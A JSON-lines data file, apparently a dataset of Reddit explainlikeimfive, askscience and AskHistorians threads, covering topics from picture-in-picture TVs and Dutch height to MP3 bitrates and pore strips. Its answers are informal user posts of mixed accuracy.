picture-in-picture in most ways.", "because you need a set top box for most cable and all satellite tv. If PIP won't work with those unless it's controlled through the box.  You could get PIP from OTA if TV makers decided that it was worth adding an extra tuner.", "My TV can, if you have 2 special glasses for it, change the picture so fast that one person can watch TV and the other one can play Xbox or something else.", "It's all about selling inferior tech to force you to buy more. Pip would make others obsolete. \n\nWhilst the iPad air 2 can only do pip Android has pop up video players on all new Android devices. \n\nAlso my  Samsung plasma TV (not that new)  also have pip option. ", "The high end Samsung TVs have this, you can have up to 4 sources playing at once. Problem in they need to be separate sources, whereas the PIP I remember was using the cable box to play 2 channels at once and my dad used it to watch 2 football games at the same time. Direct TVs Sunday Ticket does that for him now.", "I have a cable box and a TV that takes a digital signal so I can do this. I only use it when there's two football games on at once, but it's great for that purpose! ", "I don't know why that top comment is so high. It is not correct at all. \n\nIf I had to wager a guess it would be because PiP requires multiple decoders. On older TVs they would have dual cable tuners, this allowed displaying two channels. As people moved from cable connections to HDMI you would see TVs offer one hdmi PiP and one cable but almost never two HDMI. The reason is decoding HDMI requires a licensing fee and hardware which is expensive. This would require doubling the hardware cost just for HDMI. As less and less people use the cable tuner directly, the less incentive to have two HDMI decoders. It's the same reason why cheaper A/V receivers only support analog channels for zone 2. More expensive models that support digital zone 2 have two HDMI decoders.\n", "For what it's worth, PiP has been a feature in both of our recent TVs. But, apart from, 'Huh, this TV has PiP', it's never been used.", "This year's high end Panasonic TVs have it.\n\nSome LGs also.\n\nIf people want to pay for it, manufacturers will add it (a dual tuner card rather than single).", "With 4k TV's coming out, some have the ability to display 2 different images on the screen at the same time. If you have correctly polarized glasses you see one image, other pair you see the other. Fits the entire screen.", "The thing I want - and as far as I know has never been implemented - is the ability to do PiP with different inputs. For example, computer or console display on main screen, with cable or broadcast window in a corner.", "I think PiP was more useful (if it ever really was) before on demand streaming and DVR functionality. \n\nIf you want to watch two programs, most people will just record one and watch it later. \n\nAs for playing a video game while someone watches the same TV, I think most people wouldn't want that ability. I don't want to watch a tv show while my kid is playing a distracting video game on the same screen. Either he should go use another TV or I should. If you can afford a new tv, then you probably don't have just one anyhow. \n\nIt always seemed like a cool, but relatively useless feature. I've never heard of anyone who used it, until now. ", "That's where the Wii U GamePad comes in handy! It's your own personal small TV when someone else is using the tv. I love it! I agree though I wish PiP would make a comeback I was so bummed when I found out you couldn't do it with two HDMI inputs. ", " >  I was 10 and my dad's TV had PiP and I got to play PlayStation while he watched tv.\n\nyour dad was a patient man. ", "Not really answering but picture in picture is still a thing with Xbox One. \n\nYou can have a game going with another feed of live TV, Netflix Hulu, etc. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://about.dish.com/blog/hopper/how-watch-two-programs-once-hoppers-side-side-feature"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "47ck4s", "title": "When I bashed my head as a child I cried; as an adult I get angry and swear. When did the change occur and why?", "selftext": "Bashing my head still *really* hurts, as do other injuries. But as a child I would burst into inconsolable tears now I stamp my feat, shout \"fuck\" and I'm moody for a little while. Has my perception of pain changed?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/47ck4s/when_i_bashed_my_head_as_a_child_i_cried_as_an/", "answers": {"a_id": ["d0d1wbh"], "score": [21], "text": ["Crying from pain is pretty damn useless if not to alert adults that a child is hurt. Anger on the other hand causes adrenaline and endorphin levels to rise significantly, which is useful both in suppressing the pain and dealing with any potential threats.\nCrying helps to relieve anxiety; it helps when we are distressed and sad. It's calming."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "79rg9j", "title": "What exactly happens between the alpha particles and the air to cause clouds to form in a cloud chamber?", "selftext": "I understand the basic premise of a cloud chamber - the air is supersaturated, so even the tiny alpha particles are enough to cause the clouds to form. But how exactly are the alpha particles interacting with the air? If they are travelling in straight lines, it makes it seem like they just passing through without interacting with anything.\n\nAny clarification or deeper understanding of this neat phenomena will be greatly appreciated! :)", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/79rg9j/what_exactly_happens_between_the_alpha_particles/", "answers": {"a_id": ["dp48q39"], "score": [16], "text": ["The alpha particles cause ionization in the gas. Ionized particles act as nucleation points for droplets of liquid to condense out of the supersaturated gas phase.\n\nWhat you're seeing a bunch of small droplets, forming something similar to a cloud in the sky.\n\nThis makes the trail of ionization caused by the alpha particle visible to the naked eye."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2p7nyt", "title": "why can't i keep my tongue still during a dentist appointment?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2p7nyt/eli5_why_cant_i_keep_my_tongue_still_during_a/", "answers": {"a_id": ["cmu5if1"], "score": [2], "text": ["Probably falls under the ironic process theory. Basically you know what you're not supposed to do so you keep thinking about it. When you focus too much on not moving your tongue you'll end up moving it because you keep thinking about it.\n\nIts the same as if someone told you not to think about a pink elephant. You're instantly going to think about a pink elephant because that is what you're trying to avoid."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "101aqx", "title": "can someone explain the big deal with the gm bailout and the fact they want to buy back their stock from the gov", "selftext": "Ok so a friend of mine (very republican) sent me [this](_URL_0_) link today.\nHe states that's a very big deal. I'm not very fluent in American politics to understand why this is a big deal for the Obama administration overall. Please ELI5 ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/101aqx/eli5_can_someone_explain_the_big_deal_with_the_gm/", "answers": {"a_id": ["c69iqjs"], "score": [3], "text": ["A few things are at stake:\n\n1) The role of government in free enterprise -- the gov't chose to purchase a stake in GM to keep it floating. Was this appropriate?\n\n2) If the gov't is to become a shareholder, what controls will it have over the company. In this case, the gov't has salary restrictions, which GM is upset with due to not being able to catch \"top talent\". \n\n3) The gov't doesn't want to sell, because then they'll have to book the loss on GM, while now they can basically say they're holding onto it until the investment becomes profitable. \n\nThere's a conflict of interesting brooding between the gov't and GM administration, more or less. Make whichever conclusions you'd like (they aren't simple, and anyone republican or democrat claiming they are are acting in a short-sighted manner). However, that is more or less the controversy. Hope it helps. "]}, "title_urls": [], "selftext_urls": ["http://www.marketwatch.com/story/general-motors-pushing-us-to-sell-stake-report-2012-09-17"], "answers_urls": [[]]}
{"q_id": "6ld1gu", "title": "How did the Dutch go from one of the shortest people in the beginning of the the 20th century to the tallest by its end?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6ld1gu/how_did_the_dutch_go_from_one_of_the_shortest/", "answers": {"a_id": ["djsx46z", "djsx4hx"], "score": [14, 11], "text": ["As a Dutch historian of short individual stature, I must say that I was rather amused at reading this question for several reasons.\n\nIn the first place we must note that The Netherlands (and the Dutch) remained neutral during the First World War. Secondly, it must also be noted that epigenetics and eugenics as you describe them - and as far as I know - was a fringe movement in medicine, natural history, and social practice.\n\nI would contend that the reason that the Dutch went from the shortest in Europe around 1900 to the tallest in Europe around 2000 can be ascribed to several environmental and dietary factors.\n\n1) The Netherlands - much like Spain, Italy, and Norway - was extremely late with its Industrial Revolution. Where Great Britain already around 1750 commenced the associated processes of urbanization and industralisation, it was not until about 1850-1870 that a similar process can be observed in the Netherlands. As such,  the associated economic and social processes that provide for healthy diet can also be observed emerging with a similary delay around the 1920s.\n\n2) The First World War also factors into this, as neutrality did not spare the Dutch population from the threat of starvation. The British naval blockade and German unrestricted submarine warfare threatened food security quite seriously, and also limited the average diet to locally growable goods.\n\n3) The organisation of Dutch society from the 1850s to the 1950s was socially segregated to a significant extent, and is often argued to have been 'pillarised'. This in effect meant that protestants, reformed protestants, catholics, socialists, and liberals had their own communities (pillars) in which they intermarried, worked, practiced their faith, and traded. Combined with the existent class divisions, this led to a quite bracketed marriage market leading to a curiously undiversified gene pool. Though this functioned as something of a rule, there were a great many exceptions that eventually paved way for the open society that emerged during the 1960s and can still be observed in the 2010s. \n\n\nIn terms of source material I would like to recommend to you the works of Pieter Geyl; his scholarship is rather conservative, but also very detailed and from the earlier half of the 20th century. Besides this academics Henk te Velde and Piet de Rooy have done extensive research on the political culture and national identity of the Netherlands, and are highly recommended if you want a more structural assessment of the Dutch national psyche and its social trappings.\n\n(EDIT): It must also be noted that the post-Second World War introduction of the 'Volksverzekering' (lit. National insurance) greatly helped mitigate medical issues, and overall allowed for everyone in the country to access effective healthcare services at relatively low cost, thus extending it also to the poorer class brackets.", "First of all, you seem to have read some bad history. I could find no reference to the kind of (forced) Darwinism you describe. There certainly is no historical evidence of any kind of eugenics program focusing on eliminating the short, nor is there any kind of evidence that suggests Dutch women somehow having a high partner preference for taller men. On top of that, World War I played no role in this, as The Netherlands was neutral during the Great War and, unlike Belgium, was never invaded by Germany. On top of that, *if* a large scale war like that would have an impact on the average height of the population, conscription standards would mean that it would be more probable to cause a decrease the average height. As far as I know, most belligerents in the First World War had at least some minimum height requirement for its conscripts (although that height requirement would have been lowered as the war went on and the need for more recruits grew). The changes you describe also have very little to do with changing genetics, especially not anything that can be described as 'drastic'.\n\nNow, it can be extremely difficult to find accurate historical data on the average height of a population, even in western countries, before World War II. In general the aforementioned conscription provides the majority of historical data when it comes to height, which means that the data is derived from non-random samples of the male population. Archaeology can provide some insight in height of a population, but in general archaeological grave sites provide a very small sample, from which it can be hard to derive statistically significant data for a whole population.\n\nAs for the actual causes of the Dutch being tall, the primary explaining factor comes from socio-economic changes in its society during the nineteenth and twentieth century. As with most western European countries, a lot of its nineteenth century industrial revolution was at least in part powered by child labour, and urban migration that led to drastic drops in the standards of living and healthcare.. It wasn't until 1874 that the first ban on child labour was passed, for children younger than twelve. In 1875 the first sewage laws were passed, requiring that all urban housing was connected to the city sewer network. Slowly, moving into the final decades of the nineteenth century more and more laws were passed related to basic urban hygiene and standards of living that drastically improved the overall health of the urban population.\n\nIn general socio-economic factors are generally believed to be an important contributing factor in the average height of a population. As noted in *Nature*:\n\n >  The Netherlands Institute for Social Research to measure the progress of Dutch society using indicators that go beyond mere economic growth. The index incorporates indicators in eight domains: health, sport, social participation (loneliness, volunteering), cultural/leisure activities, housing, mobility, holidays, and possession of assets (9,10). The LSI rose substantially between 1974 and 2008. Between 1990 and 2008, the differences in LSI scores between socioeconomic classes decreased. This was mainly due to a higher rise in the LSI score for lower socioeconomic groups (9). A correlation between height and LSI has not been demonstrated, but one would expect a positive correlation, as with economic growth.\n\nIn general, following World War II, under the so-called Rood-Roomse Kabinetten (Cabinets based on parliamentary coalitions between Labour and the major Catholic party), a large social safety net was constructed, including healthcare and government-controlled retirement funds. These provided for a drastic rise in the standards of living. With the post-World War II reconstruction, bolstered by Marshall Aid, The Netherlands experienced steady economic growth, with which came more leisure time for the general population, better diets, better healthcare, all of which, as the *Nature* article notes, correlate to an increase in height of the population.\n\nSources:\n\nYvonne Sch\u00f6nbeck, Henk Talma, Paula van Dommelen, Boudewijn Bakker, Simone E. Buitendijk, Remy A. HiraSing  &  Stef van Buuren. \"The world\u2019s tallest nation has stopped growing taller: The height of Dutch children from 1955 to 2009.\" *Pedriatic Research* 73(2013): 371-377.\n\nPols, Hans. \"Eugenics in the Netherlands and the Dutch East Indies.\" In *The Oxford Handbook of the History of Eugenics.* Oxford: Oxford University Press, 2010. \n\nVan den Berg,  J. Th. J.  &  J.J. Vis. *De eerste honderdvijftig jaar: parlementaire geschiedenis van Nederland, 1796-1946.* Amsterdam: Bert Bakker, 2013."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "53fyvw", "title": "why are the pages of a bible tinted red?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/53fyvw/eli5_why_are_the_pages_of_a_bible_tinted_red/", "answers": {"a_id": ["d7suzen"], "score": [2], "text": ["I couldn't find a reason, but I have some additional information. High-end Bibles have something called \"art gilt.\" Gilt is when the edges are decorated with metallic foil, but art gilt is that combined with dye. It looks shiny and reddish.\n\nLower-quality Bibles, attempting to imitate this tradition, will use some other foil to gilt or will use just red dye instead of doing full art gilt.\n\nI found a lot of different pages like [this](_URL_0_) defining the art gilt but not its origin.\n\nI honestly can't find any explanation for symbolic meaning for the edges being red, any more than I can for covers being leather. (So, my *guess* is that maybe leather covers and art gilt edges were common for any fine version of a respected book, and so cheaper versions--especially in churches as /u/MoPoints mentioned, where the books are actively used for worship--mimic this style with faux leather and red paint. But that's only a guess.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://lavistachurchofchrist.org/LVarticles/QualityBibles.htm"]]}
{"q_id": "7pqotg", "title": "what causes the angles of the 'cross' shapes from bright objects in photos (see attached image) and why are they all at that particular angle?", "selftext": "Image: \n_URL_1_\n\nI just saw this photo that NASA released and was wondering why all of the brighter stars are projecting the same 'x' of light at almost the exact same angle... What causes this and why/how is that angle chosen? \n\nThanks :)\n\nEDIT: Zoomed up version of what I mean: _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7pqotg/eli5_what_causes_the_angles_of_the_cross_shapes/", "answers": {"a_id": ["dsjap94", "dsjs1vr", "dskltc5"], "score": [25, 2, 3], "text": [" >  was wondering why all of the brighter stars are projecting the same 'x' of light at almost the exact same angle\n\nThey are artifacts from the telescope which is used to view the stars. They are reflecting telescopes where a mirror is supported in the center by four struts that create the characteristic spikes you see.", "Although sometimes they're incidental to the optics in the telescope or camera, they're also desirable aesthetically to the point you can buy diffraction gratings (called crossstar filters) to put on your camera to create them artificially (similar to rendering lens flares in animated films where there isn't even a camera). If you see really exaggerated points of light from say a cityscape at night it's probably a crossstar filter.  ", "The answer is diffraction and aperture shape of the cameras.\n\nHere's a neat minutephysics video about the subject: _URL_0_\n\n"]}, "title_urls": [], "selftext_urls": ["https://imgur.com/a/Kdkxq", "https://imgur.com/a/7qlR2"], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=VVAKFJ8VVp4"]]}
{"q_id": "3djmdb", "title": "if debris the size of a paint fleck can destroy the iss, how are we going to be exploring space with so many possible flecks to blow up our spaceships?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3djmdb/eli5_if_debris_the_size_of_a_paint_fleck_can/", "answers": {"a_id": ["ct5rnvs", "ct5rq2x", "ct5t0o8", "ct60mwo"], "score": [35, 5, 7, 4], "text": ["Space is really REALLY empty. The ISS and a pile of other satelites have survived this long. Probes like voyager have been hurling through space for decades and have managed as well", "It will be progressively more difficult until we develop a system for cleaning up the messes we've made.  There is a well known effect, called the [Kessler Syndrome](_URL_0_ ), where the junk reaches a point that it's generating more (smaller) pieces of junk faster than junk falls to Earth.  It would make further space utilization unfeasible until it was cleaned up.", "From a discussion about New Horizon. First time I've ever quoted myself so forgive me if I screw it up.\n\n_URL_0_\n\nIt doesn't deal with near-earth where we've put a bunch of junk in the way, but it addresses what I think is your main question.\n\n\n > Our solar system is basically made of a bunch of really old vacuum cleaners. I mean REALLY old. And we call them planets and moons.\nOver about 5,000,000,000 years, they've been flying around in circles sucking up everything they could find.\nThey're really really good at getting rid of stuff floating around out there.\nImagine if your grandma and about 250 of her friends had been vacuuming the living room floor constantly for 5 billion years.\nIt'd be pretty clean.\nIf you go skipping across that floor, the odds of you getting even a spec of dust on your feet is as crazy low as anything you can imagine. Even lower than my chances of ever dating Scarlett Johansson.\nTHAT low.\ntl;dr There's really nothing out there to hit the New Horizon", "In addition to all of the other answers, one of the biggest reasons we have to be so worried about space junk is because of things that WE have put up there. It is very easy to knock off some debris into space, which can stick around for a few years. Because we have so many satellites and other equipment up there, there is much more debris than there normally would be. Once we get outside of the vicinity of low earth orbit, the chance of hitting something goes down by quite a bit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Kessler_syndrome"], ["https://www.reddit.com/r/explainlikeimfive/comments/3d9dos/eli5_how_does_new_horizons_avoid_space_debris_for/ct3bds2"], []]}
{"q_id": "2gsw0x", "title": "why does my face get oily almost immediately after eating greasy food like pizza", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gsw0x/eli5_why_does_my_face_get_oily_almost_immediately/", "answers": {"a_id": ["ckm8f9o"], "score": [5], "text": ["Because you touch your face A LOT.  The typical person - according to many observation studies - touches their face 2-4 times PER MINUTE by some estimates or 2000-3000 times per day (which is less frequently than 2-4 times per minute!).  Grease on fingers, grease on face."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "oe9at", "title": "Really stupid question I am embarrassed to ask in class.", "selftext": "I know protein is a nutrient that aids in muscle growth. But my professor talks about foreign proteins entering our bodies. Like how allergies are foreign proteins or something. My question is what is the difference between the two and why are they both called protein? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/oe9at/really_stupid_question_i_am_embarrassed_to_ask_in/", "answers": {"a_id": ["c3gj7al", "c3gj80b", "c3gj9ce", "c3gkr6k", "c3gl0jl", "c3gl6ee", "c3gmkht"], "score": [25, 3, 14, 2, 2, 2, 5], "text": ["Proteins are made up of amino acids in different combinations. Some proteins belong in your body, but others do not. Proteins that the body identifies as not belonging there elicit an immune response. They share the name protein because this refers to the fact that they are made up of amino acids, not because they are from or of the human body.\n\nEDIT: You should feel comfortable asking this in class. I can tell you as a professor, I am always appreciative of the student who raises their hand to ask an essential question like this. The only stupid questions I have heard are ones asked to stall or disrupt class.", "A protein is a chemical made up of a chain of polypeptides. There many types of proteins and millions of different proteins.\n\nIt is analogous to cars. There are domestic cars and foreign cars and then many different makes as well as models. They are all still called cars.", "Any question you ask to increase your knowledge is not a stupid question.", "This is not a stupid question at all. You are connecting what your professor tells you to other things you've learned and you're figuring out how it all fits together. If you brought this up in class, you'd probably get a lot of other kids to think about something they hadn't thought of before.", "Not a stupid question. Your DNA is generally hardwired to produce specific proteins and antibodies against foreign ones. When you're in close and constant contact with some proteins during your first year of life, you're \"teaching' your immune system to accept them, instead of reacting to them. Otherwise, you'd be allergic or have serious inflammatory reactions to everything around you. As others said before, the protein you eat is digested into amino acids, so you can absorb it and rebuild your own proteins with it. Some proteins you eat, nonetheless, can give you allergies, just because your immune system \"learned\" they were foreign/dangerous and elicit an inflammatory response. \nHope I was clear and helped. ", " >  why are they both called protein?\n\nThink of it this way... a Volkswagen Beetle, a Lamborghini or a limousine are all \"Cars.\" They're radically different, but the definition of \"Car\" requires 4 wheels, an engine, seats... and they all meet this definition.\n\nSeveral things meet the definition for \"Protein,\" but at the same time can be very different compounds.", "Proteins are an *enormous* class of biomolecules. As others have pointed out, the label protein is merely applied to any molecule made of a long sequence of amino acids. There can be thousands of amino acids in a particular protein which can bend and fold into different shapes which serve various purposes. They can be composed of multiple *domains*(separate chains of folded amino acids) or be modified chemically beyond the basic amino acid sequence, or be complexed with metal ions, etc. They can form long, purely structural molecules, or be intricate biological machines like enzymes and all kinds of stuff in between.\n\nTo get a sense of how broad a role proteins play, the central dogma of biology states that DNA makes RNA, and RNA makes proteins. The role of DNA and RNA is essentially the replication of DNA and RNA and proteins are pretty much responsible for almost every aspect of living cells."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "7uqui1", "title": "the supreme clothing company and why its so popular right now.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7uqui1/eli5_the_supreme_clothing_company_and_why_its_so/", "answers": {"a_id": ["dtmdweg", "dtmpmp0"], "score": [27, 9], "text": ["Well, the original prices of Supreme products are not that outrageous. The reason it seems that way is because most people see the resell prices that Supreme is sold for.\n\nSupreme has limited releases - \u201cdrops\u201d - every once and a while with new items, but releases a very small supply compared to the demand for their products which in essence means they are artificially manufacturing a high value for their products. And since they have a strong fan base, people will make sure to be outside the Supreme store or on the website for the exact drop time to try and buy the items for retail, but since they sell out in minutes most people are stuck with the resell prices which go into the thousands for a simple hoodie.", "Sometimes, the whole point of a very expensive thing is showing off that you can afford it. It's a status symbol for people who care about that kind of thing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4ue2ss", "title": "a good beginner's workout routine, explained without any of the lingo commonly found on fitness subreddits that outsiders like me struggle to follow", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ue2ss/eli5_a_good_beginners_workout_routine_explained/", "answers": {"a_id": ["d5oxqpe", "d5oyt4r", "d5oywqq", "d5ozh3j"], "score": [3, 39, 12, 2], "text": ["For starters, you need to specify what kind of workout. That is, Weightlifting, or Cardio. Weights are used to build strength and muscle mass, while cardio is exercise that involves maintaining a high heart rate to burn calories, get in shape, and (depending on what kind of cardio you do) tone muscles. You need to determine what you want out of your workout first. ", "Recommending an exercise routine is a sure way to get criticized but here we go go:\n\nExercise several times a week for one to two hours. Do different things each session. As you get used to exercising you can add more sessions.\n\nBefore each exercise you warm up for ten minutes by jogging or other light exercises. This is to get your heart pumping and raise your body temperature. You will feel that you get warmer and maybe break a sweat but should not feel pain, even after the first real exercises. Before each exercise you should also prepare yourself by doing the exercise without weights.\n\nTo build strength you use a muscle four times, rest for just as long, then repeat four more times. You should use so much weight that you might not be able to do the 16th lift. This exercise is building the nerve endings and other muscle functions that allows you to utilize the muscle better. It will give good and quick effects but only up to a certain point.\n\nTo build muscle mass as opposed to strength use the muscle 8 times before resting and do it only twice. This will build up lactic acid in your muscles which stings but will also promote muscle growth.\n\nFor endurance you do the entire 16 repetitions without stopping.\n\nIf you want to train the heart and lungs you sprint for 4 minutes, walks for 4 minutes to recover your breath, and do that four times. This will build your heart and lung muscles.\n\nFor loosing weight just dont eat that much. Even athletes working out all day is not going to lose weight if they are eating twice as much as they should without exercising.", "I am a big fan of the [Stronglifts 5x5](_URL_0_) routine. All the info you need is free on that website.\n\nIt's a basic weight lifting program that anyone can follow and delivers results. It's great for overall fitness, if you think \"oh that's powerlifting, I don't want to look like *that*\" don't discount it without giving it a try. It's not about making you huge, it's about making you stronger and building muscle, whatever your current level of fitness.\n\nPlus it's dead simple. Only 5 exercises to learn, you only workout 3x a week, and you only do 3 exercises per workout, 5 sets of 5 reps. Don't try to reinvent the wheel, just follow the routine as it's written. It's laid out precisely that way for a reason. Don't try to do more, or add extra stuff on your days off; you need those days to recover.\n\nStart slow. For some of the exercises you might start with an empty Olympic bar if you are new, which is 45lbs. No need to rush to start with a lot of weight, with this program you will incrementally add weight every time you workout, so the weight will pile on quick enough.\n\nBuilding muscle is the best way to burn fat. Cardio is great for cardiovascular health and cardio endurance. Overall though, I find that most people who want to lose fat and look/feel better are better off to do some sort of resistance training.\n\nTo do stronglifts 5x5 you just need basic weightlifting equipment which you can find at any gym. If you want to build a garage gym the basics you need for this are a great start, but before you invest money in that I'd find a basic gym to workout at 1st.", "I downloaded StrongLifts 5x5 and have been using it for 2 years. It's 5 main exercises that target your major muscle groups. There's not much to think about other than perfecting your form each time and the app will gradually increase the weight for you. I'm in the best shape of my life and I look and feel great. I definitely recommend it!!!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://stronglifts.com/5x5/"], []]}
{"q_id": "dfrnxp", "title": "Why do antiseptic hurt?", "selftext": "Title kinda says it all I guess, but it's kinda a thing I've been wondering for ages, but whenever I've asked anyone I've just been told \"that means it's working\", and I'm curious what actually causes it.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/dfrnxp/why_do_antiseptic_hurt/", "answers": {"a_id": ["f39c8z2"], "score": [5], "text": ["There are many different antiseptics, which work differently. Some hurt, some do not.\n\nThe concept that \"that means it's working\" is more of a cultural / psychological trope than anything real. For various reasons, we tend to believe medicine is working better if it hurts, tastes bitter, etc. In particular, various alcohols are common in antiseptics (and have been since antiquity - contributing to that cultural belief - due to simplicity, cheapness and effectiveness), and alcohol on a wound hurts, with a mechanism already detailed in other comments.\n\nHowever, there are plenty of antiseptics that don't hurt. Many antibiotic creams and ointments won't sting (though there may still be some pain, simply because you're physically touching an open wound.) That does not reduce their effectiveness."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "29b32v", "title": "why is 320kbps the standard bit rate for music and not higher?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/29b32v/eli5_why_is_320kbps_the_standard_bit_rate_for/", "answers": {"a_id": ["cij6sot", "cij6wup", "cij7lgd", "cij8dl4", "cija0bf", "cijec1f"], "score": [16, 2, 6, 7, 10, 2], "text": ["Essentially, MP3 was developed to compress CD quality audio to certain bitrates without noticeable loss of quality. Much of the encoders targeted 128kbps or 192kbps, which is pretty much nominal - it sounded good, but other codecs (Vorbis and AAC) started kicking MP3's butt at those bitrates. 320kbps is nearing the upper range of what's actually \"worthwhile\" with MP3 - increasing the bitrate won't increase the quality anymore.\n\nSo the short answer is, MP3 algorithm as a whole doesn't offer much benefits over 320kbps. It's pretty much as good as MP3 gets. Other algorithms might be worth a try, or you could just use a lossless compression algorithm like FLAC.", "Also, pretty much anything over 320kbps you can't really hear the difference unless you have a very good ear and/or are doing audio engineering etc.", "320kbps is not a standard anywhere.\n320kbps is a CBR (Constant bit rate) encoding method\nSo even parts of songs made up of low activity, you're still encoding 320kbps - which is a little inefficient \n\nIt's seems to generally accepted that encoding using a Variable bitrate method (Such as LAME V0) is actually an improvement over 320, as it has been intelligently encoded to adapt to what's currently being played.\n\nThis graph probably helps: _URL_0_\n\n(TL;DR - 320kbps isn't a standard)", "All proper double blind tests I've seen on the issue shows that above about 192 kbps on a decent encoder the vast majority of humans are simply unable to tell the difference. Some professionals on very high end equipment might be able to. There's a placebo effect that makes you think you can hear it, but actual tests show otherwise. I've even read long blogposts about people explaining how much better their music sounded after up converting their 256 Kbps AAC music to flac. That's of course nonsense because the music coming out is exactly the same.\n\n _URL_0_", "I remember when 128kbps was the standard.  Anything larger took too long to download. ", "MP3's compress audio, so it takes less space.\n\nDigital storage is measured in bits.\n\nHumans can generally hear sounds as high as 20kHz in frequency. To store all sounds up to 20kHz digitally, we need to store it at 40kHz. CD's use 44.1kHz. I'll use 48kHz because I can.\n\n48kHz means we record sound 48 000 times per second. This is our sample rate.\n\nNow how accurately do we measure this sound?\n\nWith 16 bit audio we measure sound against 65 536 points (2^16).\n\nWith 24 bit audio we measure sound against 16 777 216 points (2^16)\n\nTrust me, 24 bits is overkill, so I'll use 16 bits. \n\nSo we sample 48 000 times per second, with each sample using 16 bits. This gives us a bit rate of 768kbps (48 000 x 16). But MP3's store bits efficiently, so this rounds down to 320kbps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://wiki.hydrogenaud.io/images/2/2c/Lame-chart-2.png"], ["http://en.wikipedia.org/wiki/Codec_listening_test"], [], []]}
{"q_id": "2uvgno", "title": "how do bior\u00e9 pore strips work?", "selftext": "What is that stuff it's pulling out of my pores? And how does it grab onto it? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2uvgno/eli5_how_do_bior\u00e9_pore_strips_work/", "answers": {"a_id": ["coc1xgx", "coc33wv", "coc3ajy", "coc7m8d"], "score": [17, 15, 2, 3], "text": ["I'm not sure how it grabs it, but I can tell you that for the vast majority of people, what you are grabbing is called sebum. Your skin naturally produces oils to protect it. When you use a Biore pore strip, you are ripping these natural oils out of your pores, irritating the pore and leaving it vulnerable to infection or acne.", " >  What is that stuff it's pulling out of my pores?\n\nSebum mostly. It's the oil your skin produces naturally. When a zit forms, it's usually because the sebaceous gland is blocked and builds up a little pocket of sebum.\n\n_URL_0_\n\n >  And how does it grab onto it?\n\nAdhesion. Much like how tape sticks to things, these strips are often coated with an adhesive that is particularly good at finding sebum and bonding with it. Some of the higher-end strips use coral powder on a strip activated with water to form a sort of \"cement\" that bonds with sebum really well. Dunno what Biore uses specifically.\n", "Semi-serious question -- would certain kinds of say 'masking tape' work reasonably welll too?  Not *as* well, I know, but better than you might think?", "Hop on over to /r/skincareaddiction. The sidebar is a good starting point to learn about what sebaceous filaments are, and how to deal with them properly. All are welcome. All are welcome. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Sebaceous_gland"], [], []]}
